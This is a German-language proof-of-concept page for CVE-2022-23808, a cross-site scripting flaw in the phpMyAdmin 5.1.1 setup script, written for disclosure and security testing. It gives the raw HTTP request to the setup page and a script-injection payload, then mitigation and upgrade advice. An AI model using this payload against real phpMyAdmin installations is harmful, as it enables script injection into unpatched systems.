dipakpanchal05/cve-2022-23808Proof-of-Concept-Exploit für CVE-2022-23808, eine gespeicherte XSS-Schwachstelle im Setup-Skript von phpMyAdmin 5.1.1, mit Payload und Reproduktionsschritten für Sicherheitstests.
Exploit-Titel : phpMyAdmin 5.1.1 - XSS (Cross-Site-Scripting)
Exploit-Autor : Dipak Panchal (@th3.d1p4k)
Vendor Homepage : https://www.phpmyadmin.net
Software Link : https://www.phpmyadmin.net/files/5.1.1/
Betroffene Versionen : phpMyAdmin-Versionen des 5.1-Zweigs vor 5.1.2 sind betroffen.
Getestet unter : Windows 10 und Linux
CVE : CVE-2022-23808
Referenz : https://www.phpmyadmin.net/security/PMASA-2022-2/
Es wurde eine Reihe von Schwachstellen entdeckt, die es einem Angreifer ermöglichen könnten, bösartigen Code in Aspekte des Setup-Skripts einzuschleusen, was zu XSS oder HTML-Injection führen kann.
GET /phpmyadmin/setup/index.php?page=servers&mode=test&id=test HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Cookie: pma_lang=en; phpMyAdmin=fs55xxxxxxx; pma_lang=en; pmaUser-1=xxxxxxxxxxxxxxxxxxxxxxxxxxx; phpMyAdmin=xxxxxxxxxxxxxxx; pmaAuth-1=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
">'><script>alert(document.domain)</script>
Eine phpMyAdmin-Installation mit einer Konfigurationsdatei config.inc.php erlaubt keinen Zugriff auf das Setup-Skript, was wiederum diesen Angriff abschwächt.
Aktualisieren Sie auf phpMyAdmin 5.1.2 oder neuer oder wenden Sie den Patch an.